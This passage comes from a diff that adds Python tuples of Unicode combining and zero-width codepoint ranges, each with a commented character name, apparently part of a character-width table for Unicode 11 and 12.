..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00afa, 0x00aff,), # Gujarati Sign Sukun ..Gujarati Sign Two-circle + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c00, 0x00c00,), # Telugu Sign Combining Ca..Telugu Sign Combining Ca + (0x00c04, 0x00c04,), # Telugu Sign Combining An..Telugu Sign Combining An + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00c81, 0x00c81,), # Kannada Sign Candrabindu..Kannada Sign Candrabindu + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d00, 0x00d01,), # Malayalam Sign Combining..Malayalam Sign Candrabin + (0x00d3b, 0x00d3c,), # Malayalam Sign Vertical ..Malayalam Sign Circular + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x01885, 0x01886,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a1b, 0x01a1b,), # Buginese Vowel Sign Ae ..Buginese Vowel Sign Ae + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01ab0, 0x01abe,), # Combining Doubled Circum..Combining Parentheses Ov + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bad,), # Sundanese Sign Virama ..Sundanese Consonant Sign + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01cf8, 0x01cf9,), # Vedic Tone Ring Above ..Vedic Tone Double Ring A + (0x01dc0, 0x01df9,), # Combining Dotted Grave A..Combining Wide Inverted + (0x01dfb, 0x01dff,), # Combining Deletion Mark ..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69e, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c5,), # Saurashtra Sign Virama ..Saurashtra Sign Candrabi + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a8ff, 0x0a8ff,), # Devanagari Vowel Sign Ay..Devanagari Vowel Sign Ay + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0a9e5, 0x0a9e5,), # Myanmar Sign Shan Saw ..Myanmar Sign Shan Saw + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa7c, 0x0aa7c,), # Myanmar Sign Tai Laing T..Myanmar Sign Tai Laing T + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe2f,), # Combining Ligature Left ..Combining Cyrillic Titlo + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x102e0, 0x102e0,), # Coptic Epact Thousands M..Coptic Epact Thousands M + (0x10376, 0x1037a,), # Combining Old Permic Let..Combining Old Permic Let + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x10ae5, 0x10ae6,), # Manichaean Abbreviation ..Manichaean Abbreviation + (0x10d24, 0x10d27,), # Hanifi Rohingya Sign Har..Hanifi Rohingya Sign Tas + (0x10f46, 0x10f50,), # Sogdian Combining Dot Be..Sogdian Combining Stroke + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x1107f, 0x11081,), # Brahmi Number Joiner ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11173, 0x11173,), # Mahajani Sign Nukta ..Mahajani Sign Nukta + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x111c9, 0x111cc,), # Sharada Sandhi Mark ..Sharada Extra Short Vowe + (0x1122f, 0x11231,), # Khojki Vowel Sign U ..Khojki Vowel Sign Ai + (0x11234, 0x11234,), # Khojki Sign Anusvara ..Khojki Sign Anusvara + (0x11236, 0x11237,), # Khojki Sign Nukta ..Khojki Sign Shadda + (0x1123e, 0x1123e,), # Khojki Sign Sukun ..Khojki Sign Sukun + (0x112df, 0x112df,), # Khudawadi Sign Anusvara ..Khudawadi Sign Anusvara + (0x112e3, 0x112ea,), # Khudawadi Vowel Sign U ..Khudawadi Sign Virama + (0x11300, 0x11301,), # Grantha Sign Combining A..Grantha Sign Candrabindu + (0x1133b, 0x1133c,), # Combining Bindu Below ..Grantha Sign Nukta + (0x11340, 0x11340,), # Grantha Vowel Sign Ii ..Grantha Vowel Sign Ii + (0x11366, 0x1136c,), # Combining Grantha Digit ..Combining Grantha Digit + (0x11370, 0x11374,), # Combining Grantha Letter..Combining Grantha Letter + (0x11438, 0x1143f,), # Newa Vowel Sign U ..Newa Vowel Sign Ai + (0x11442, 0x11444,), # Newa Sign Virama ..Newa Sign Anusvara + (0x11446, 0x11446,), # Newa Sign Nukta ..Newa Sign Nukta + (0x1145e, 0x1145e,), # Newa Sandhi Mark ..Newa Sandhi Mark + (0x114b3, 0x114b8,), # Tirhuta Vowel Sign U ..Tirhuta Vowel Sign Vocal + (0x114ba, 0x114ba,), # Tirhuta Vowel Sign Short..Tirhuta Vowel Sign Short + (0x114bf, 0x114c0,), # Tirhuta Sign Candrabindu..Tirhuta Sign Anusvara + (0x114c2, 0x114c3,), # Tirhuta Sign Virama ..Tirhuta Sign Nukta + (0x115b2, 0x115b5,), # Siddham Vowel Sign U ..Siddham Vowel Sign Vocal + (0x115bc, 0x115bd,), # Siddham Sign Candrabindu..Siddham Sign Anusvara + (0x115bf, 0x115c0,), # Siddham Sign Virama ..Siddham Sign Nukta + (0x115dc, 0x115dd,), # Siddham Vowel Sign Alter..Siddham Vowel Sign Alter + (0x11633, 0x1163a,), # Modi Vowel Sign U ..Modi Vowel Sign Ai + (0x1163d, 0x1163d,), # Modi Sign Anusvara ..Modi Sign Anusvara + (0x1163f, 0x11640,), # Modi Sign Virama ..Modi Sign Ardhacandra + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x1171d, 0x1171f,), # Ahom Consonant Sign Medi..Ahom Consonant Sign Medi + (0x11722, 0x11725,), # Ahom Vowel Sign I ..Ahom Vowel Sign Uu + (0x11727, 0x1172b,), # Ahom Vowel Sign Aw ..Ahom Sign Killer + (0x1182f, 0x11837,), # Dogra Vowel Sign U ..Dogra Sign Anusvara + (0x11839, 0x1183a,), # Dogra Sign Virama ..Dogra Sign Nukta + (0x11a01, 0x11a0a,), # Zanabazar Square Vowel S..Zanabazar Square Vowel L + (0x11a33, 0x11a38,), # Zanabazar Square Final C..Zanabazar Square Sign An + (0x11a3b, 0x11a3e,), # Zanabazar Square Cluster..Zanabazar Square Cluster + (0x11a47, 0x11a47,), # Zanabazar Square Subjoin..Zanabazar Square Subjoin + (0x11a51, 0x11a56,), # Soyombo Vowel Sign I ..Soyombo Vowel Sign Oe + (0x11a59, 0x11a5b,), # Soyombo Vowel Sign Vocal..Soyombo Vowel Length Mar + (0x11a8a, 0x11a96,), # Soyombo Final Consonant ..Soyombo Sign Anusvara + (0x11a98, 0x11a99,), # Soyombo Gemination Mark ..Soyombo Subjoiner + (0x11c30, 0x11c36,), # Bhaiksuki Vowel Sign I ..Bhaiksuki Vowel Sign Voc + (0x11c38, 0x11c3d,), # Bhaiksuki Vowel Sign E ..Bhaiksuki Sign Anusvara + (0x11c3f, 0x11c3f,), # Bhaiksuki Sign Virama ..Bhaiksuki Sign Virama + (0x11c92, 0x11ca7,), # Marchen Subjoined Letter..Marchen Subjoined Letter + (0x11caa, 0x11cb0,), # Marchen Subjoined Letter..Marchen Vowel Sign Aa + (0x11cb2, 0x11cb3,), # Marchen Vowel Sign U ..Marchen Vowel Sign E + (0x11cb5, 0x11cb6,), # Marchen Sign Anusvara ..Marchen Sign Candrabindu + (0x11d31, 0x11d36,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3a, 0x11d3a,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3c, 0x11d3d,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3f, 0x11d45,), # Masaram Gondi Vowel Sign..Masaram Gondi Virama + (0x11d47, 0x11d47,), # Masaram Gondi Ra-kara ..Masaram Gondi Ra-kara + (0x11d90, 0x11d91,), # Gunjala Gondi Vowel Sign..Gunjala Gondi Vowel Sign + (0x11d95, 0x11d95,), # Gunjala Gondi Sign Anusv..Gunjala Gondi Sign Anusv + (0x11d97, 0x11d97,), # Gunjala Gondi Virama ..Gunjala Gondi Virama + (0x11ef3, 0x11ef4,), # Makasar Vowel Sign I ..Makasar Vowel Sign U + (0x16af0, 0x16af4,), # Bassa Vah Combining High..Bassa Vah Combining High + (0x16b30, 0x16b36,), # Pahawh Hmong Mark Cim Tu..Pahawh Hmong Mark Cim Ta + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1bc9d, 0x1bc9e,), # Duployan Thick Letter Se..Duployan Double Mark + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0x1da00, 0x1da36,), # Signwriting Head Rim ..Signwriting Air Sucking + (0x1da3b, 0x1da6c,), # Signwriting Mouth Closed..Signwriting Excitement + (0x1da75, 0x1da75,), # Signwriting Upper Body T..Signwriting Upper Body T + (0x1da84, 0x1da84,), # Signwriting Location Hea..Signwriting Location Hea + (0x1da9b, 0x1da9f,), # Signwriting Fill Modifie..Signwriting Fill Modifie + (0x1daa1, 0x1daaf,), # Signwriting Rotation Mod..Signwriting Rotation Mod + (0x1e000, 0x1e006,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e008, 0x1e018,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e01b, 0x1e021,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e023, 0x1e024,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e026, 0x1e02a,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e8d0, 0x1e8d6,), # Mende Kikakui Combining ..Mende Kikakui Combining + (0x1e944, 0x1e94a,), # Adlam Alif Lengthener ..Adlam Nukta + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '12.0.0': ( + # Source: DerivedGeneralCategory-12.0.0.txt + # Date: 2019-01-22, 08:18:28 GMT + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x007fd, 0x007fd,), # Nko Dantayalan ..Nko Dantayalan + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008d3, 0x008e1,), # Arabic Small Low Waw ..Arabic Small High Sign S + (0x008e3, 0x00902,), # Arabic Turned Damma Belo..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x009fe, 0x009fe,), # Bengali Sandhi Mark ..Bengali Sandhi Mark + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00afa, 0x00aff,), # Gujarati Sign Sukun ..Gujarati Sign Two-circle + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c00, 0x00c00,), # Telugu Sign Combining Ca..Telugu Sign Combining Ca + (0x00c04, 0x00c04,), # Telugu Sign Combining An..Telugu Sign Combining An + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 